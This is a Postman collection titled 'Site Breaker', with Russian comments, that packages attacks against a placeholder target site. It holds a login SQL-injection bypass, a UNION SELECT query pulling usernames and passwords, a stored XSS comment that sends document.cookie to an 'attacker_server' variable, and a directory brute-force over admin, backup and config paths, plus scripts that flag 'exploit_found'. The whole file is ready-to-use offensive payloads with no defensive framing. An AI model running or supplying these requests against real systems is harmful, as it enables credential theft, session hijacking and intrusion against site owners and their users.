Загрузка данных


{
  "info": {
    "name": "Site Breaker",
    "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
  },
  "item": [
    {
      "name": "Flood POST",
      "request": {
        "method": "POST",
        "header": [
          {"key": "User-Agent", "value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"},
          {"key": "Content-Type", "value": "application/x-www-form-urlencoded"}
        ],
        "body": {
          "mode": "raw",
          "raw": "username=admin&password=' OR '1'='1&submit=Login"
        },
        "url": {
          "raw": "{{base_url}}/login",
          "host": ["{{base_url}}"],
          "path": ["login"]
        }
      },
      "event": [
        {
          "listen": "prerequest",
          "script": {
            "exec": [
              "// Автоматическая подстановка случайных данных для обхода CSRF",
              "pm.variables.set('rand', Math.random().toString(36).substring(2));"
            ]
          }
        },
        {
          "listen": "test",
          "script": {
            "exec": [
              "// Проверка уязвимости – если ответ 200 или 500, фиксируем успех",
              "if (pm.response.code === 200 || pm.response.code === 500) {",
              "    pm.collectionVariables.set('exploit_found', 'true');",
              "    console.log('Уязвимость найдена!');",
              "}"
            ]
          }
        }
      ]
    },
    {
      "name": "SQL Injection on GET",
      "request": {
        "method": "GET",
        "header": [],
        "url": {
          "raw": "{{base_url}}/products?id=1' UNION SELECT NULL,username,password FROM users--",
          "host": ["{{base_url}}"],
          "path": ["products"],
          "query": [
            {"key": "id", "value": "1' UNION SELECT NULL,username,password FROM users--"}
          ]
        }
      }
    },
    {
      "name": "XSS Payload via Comment",
      "request": {
        "method": "POST",
        "header": [{"key": "Content-Type", "value": "application/json"}],
        "body": {
          "mode": "raw",
          "raw": "{\"comment\": \"<script>fetch('{{attacker_server}}/steal?cookie='+document.cookie)</script>\"}"
        },
        "url": {
          "raw": "{{base_url}}/comments",
          "host": ["{{base_url}}"],
          "path": ["comments"]
        }
      }
    },
    {
      "name": "Directory Bruteforce",
      "request": {
        "method": "GET",
        "url": {
          "raw": "{{base_url}}/{{dir}}",
          "host": ["{{base_url}}"],
          "path": ["{{dir}}"]
        }
      },
      "event": [
        {
          "listen": "prerequest",
          "script": {
            "exec": [
              "const dirs = ['admin', 'backup', 'config', 'sql', 'logs', 'wp-admin', 'api/v1'];",
              "pm.variables.set('dir', dirs[Math.floor(Math.random() * dirs.length)]);"
            ]
          }
        }
      ]
    }
  ],
  "variable": [
    {"key": "base_url", "value": "http://target-site.com", "type": "string"},
    {"key": "attacker_server", "value": "http://your-server.com", "type": "string"}
  ]
}